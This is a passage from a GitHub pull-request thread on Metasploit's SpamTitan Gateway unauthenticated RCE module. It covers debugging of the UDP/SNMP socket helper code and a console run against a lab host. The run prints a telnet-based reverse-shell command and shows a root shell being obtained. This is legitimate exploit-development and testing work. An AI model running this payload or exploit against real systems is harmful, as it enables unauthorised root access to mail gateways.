	inet 192.168.135.222 netmask 0xffffff00 broadcast 192.168.135.255 
	nd6 options=29<PERFORMNUD,IFDISABLED,AUTO_LINKLOCAL>
	media: Ethernet autoselect (1000baseT <full-duplex>)
	status: active
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> metric 0 mtu 16384
	options=600003<RXCSUM,TXCSUM,RXCSUM_IPV6,TXCSUM_IPV6>
	inet6 ::1 prefixlen 128 
	inet6 fe80::1%lo0 prefixlen 64 scopeid 0x2 
	inet 127.0.0.1 netmask 0xff000000 
	inet 127.0.0.2 netmask 0xffffffff 
	inet 127.0.0.3 netmask 0xffffffff 
	nd6 options=21<PERFORMNUD,AUTO_LINKLOCAL>

I'm struggling because

@bwatters-r7
Copy link
Contributor

Waiiit.
So, here's the thing...
In connect_snmp, we call connect_udp. connect_udp creates a new socket, but it does not do anything with the hash.... it creates a new one to instantiate the udp socket:

  def connect_udp(global = true, opts={})
    print_line("Opts before connect_udp = \n#{opts}")
    print_line("rport = \n#{rport}")
    nsock = Rex::Socket::Udp.create(
      'PeerHost'  =>  opts['RHOST'] || rhost,
      'PeerPort'  => (opts['RPORT'] || rport).to_i,
      'LocalHost' =>  opts['CHOST'] || chost || "0.0.0.0",
      'LocalPort' => (opts['CPORT'] || cport || 0).to_i,
      'Context'   =>
        {
          'Msf'        => framework,
          'MsfExploit' => self,
        })

    # Set this socket to the global socket as necessary
    self.udp_sock = nsock if (global)

So when we return that udp socket object, it has a hash to itself (likely with the correct port) but then back in connect_snmp:

  def connect_snmp(global=true, opts={})
    s = connect_udp(false, opts)

    version = :SNMPv1 if datastore['VERSION'] == '1'
    version = :SNMPv2c if datastore['VERSION'] == '2c'

    snmp = ::SNMP::Manager.new(
      :Host => opts['PeerHost'] || rhost,
      :Port => opts['PeerPort'] || rport,
      :Community => datastore['COMMUNITY'],
      :Version => version,
      :Timeout => datastore['TIMEOUT'],
      :Retries => datastore['RETRIES'],
      :Transport => SNMP::RexUDPTransport,
      :Socket => s
    )

We create a new snmp instance with nothing from the hash that got attached to the UDP socket... and notice that rport line is different, here:
:Port => opts['PeerPort'] || rport,

I wonder if this is a bug in the udp/snmp creation? This looks like you could create a UDP socket, then create an SNMP socket based on it, and have the UDP port and SNMP ports not match?

I'm still unclear on why our responses are different, though.

@cdelafuente-r7
Copy link
Contributor Author

You're absolutely right. It looks like you can provide different host/port information to both Rex::Socket::Udp socket and ::SNMP::Manager. I tried to understand the mechanism and here are my findings:

  1. connect_udp creates a standard Rex::Socket::Udp using opts['RPORT'] as peer port value and connect it (this is an important step)
  2. An SNMP::Manager instance is created using opts['PeerHost'] and the previously created socket.
  3. When snmp.get is called (line 296), the SNMP::Manager object delegates the actual send operation to SNMP::RexUDPTransport. This where the data is actually sent to the remote host using the socket (SNMP::RexUDPTransport) which as been instantiated before. It will first call sendto, which is use to send data on a non-connect socket. In my case, since the socket is already connected (in step 1), this method throws an ::Errno::EISCONN exception. This error is handled and directly calls write. Since the socket is already connected to the opts['RPORT'] port (see step 1), it works. opts['PeerHost'] is no used at all.

I believe, in your case, the socket is somehow not connected when the code reaches sendto and a connection using the provided port (opts['PeerPort']) is established before sending the data.

All of this doesn't sounds right to me. We should be able to use the same custom port in both connect_udp and in the SNMP::Manager instance. I quickly checked how connect_snmp is used in Metasploit and I couldn't find a case where a custom port is defined. So, I think it is safe to use the same opts['RHOST'] and opts['RPORT'] options when creating the SNMP::Manager instance. I will make these changes and let you know.

Thanks for looking into it.

@cdelafuente-r7
Copy link
Contributor Author

Here are the last changes I've made:

  • I added a Datastore option to select the SNMP port (SNMPPORT) (see commit a939704)
  • I updated the documentation to add this new option (see commit c586bde)
  • I fixed connect_snmp to use opts['RHOST'] and opts['RPORT'] (see commit afea5cd)

I also rebase everything and force-pushed to fix conflict with the recent updates in master.

@bwatters-r7
Copy link
Contributor

msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set rhost 192.168.135.222
rhost => 192.168.135.222
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set verbose true
verbose => true
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show options

Module options (exploit/freebsd/webapp/spamtitan_unauth_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ALLOWEDIP                   no        The IP address that will be allowed to query the injected `extend` command. This IP will be added to the SNMP configuration file on the target. This is tipically this host IP address, but can be different if your are in a NAT'ed network. If not set, `LHOST` will be used instead. If `LHOST` is not set, it will default to `127.0.0.1`.
   COMMUNITY  BBUlPJgq         no        The SNMP Community String to use (random string by default)
   PASSWORD   hiadmin          no        Password to authenticate, if required (depending on SpamTitan Gateway version)
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RETRIES    1                yes       SNMP Retries
   RHOSTS     192.168.135.222  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target HTTP port (TCP)
   SNMPPORT   161              yes       The target SNMP port (UDP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The base path to SpamTitan
   TIMEOUT    1                yes       SNMP Timeout
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME   admin            no        Username to authenticate, if required (depending on SpamTitan Gateway version)
   VERSION    1                yes       SNMP Version <1/2c>
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix In-Memory


msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run

[-] Exploit failed: One or more options failed to validate: LHOST.
[*] Exploit completed, but no session was created.
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set lhost 192.168.135.197
lhost => 192.168.135.197
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run

[+] sh -c '(sleep 4543|telnet 192.168.135.197 4444|while : ; do sh && break; done 2>&1|telnet 192.168.135.197 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on 192.168.135.197:4444 
[*] Executing automatic check (disable AutoCheck to override)
[*] Check if /snmp-x.php exists
[+] The target appears to be vulnerable.
[*] Send a request to /snmp-x.php and inject the payload
[*] Send an SNMP Get-Request to trigger the payload
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo IZVMPgftHL54D7Hh;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "IZVMPgftHL54D7Hh\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.135.197:4444 -> 192.168.135.222:45893) at 2020-12-22 18:16:45 -0600

ifconfig
em0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
	options=9b<RXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING,VLAN_HWCSUM>
	ether 00:0c:29:56:21:1f
	inet 192.168.135.222 netmask 0xffffff00 broadcast 192.168.135.255 
	nd6 options=29<PERFORMNUD,IFDISABLED,AUTO_LINKLOCAL>
	media: Ethernet autoselect (1000baseT <full-duplex>)
	status: active
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> metric 0 mtu 16384
	options=600003<RXCSUM,TXCSUM,RXCSUM_IPV6,TXCSUM_IPV6>
	inet6 ::1 prefixlen 128 
	inet6 fe80::1%lo0 prefixlen 64 scopeid 0x2 
	inet 127.0.0.1 netmask 0xff000000 
	inet 127.0.0.2 netmask 0xffffffff 
	inet 127.0.0.3 netmask 0xffffffff 
	nd6 options=21<PERFORMNUD,AUTO_LINKLOCAL>
uid
uid: not found
id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)

image

@bwatters-r7
Copy link
Contributor

I'm cool with landing this, but as it changes a library and I'm going to be gone for more than a week, I'm going to put it on hold until I'm around to help douse any fires it may cause.

@bwatters-r7 bwatters-r7 merged commit 54f5e56 into rapid7:master Jan 4, 2021
@bwatters-r7
Copy link
Contributor

bwatters-r7 commented Jan 4, 2021

Release Notes

New module exploits/freebsd/webapp/spamtitan_unauth_rce exploits an improper input sanitization in SpamTitan Gateway versions 7.01, 7.02, 7.03 and 7.07 to inject command directives into the SNMP configuration file and achieve remote code execution as root. Note that only version 7.03 needs authentication and no authentication is required for versions 7.01, 7.02 and 7.07.

@cdelafuente-r7 cdelafuente-r7 deleted the spamtitan_rce branch January 5, 2021 17:32
@adfoster-r7 adfoster-r7 added the rn-modules release notes for new or majorly enhanced modules label Jan 9, 2021
@hackercoolmagz
Copy link

Hey, I was testing this exploit. While setting the target, after accessing the web interface and trying to update. I am getting a message saying "License not found. Please Load a valid license". The check for updates section button is disabled. is there anyway to bypass this and start updating
github

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants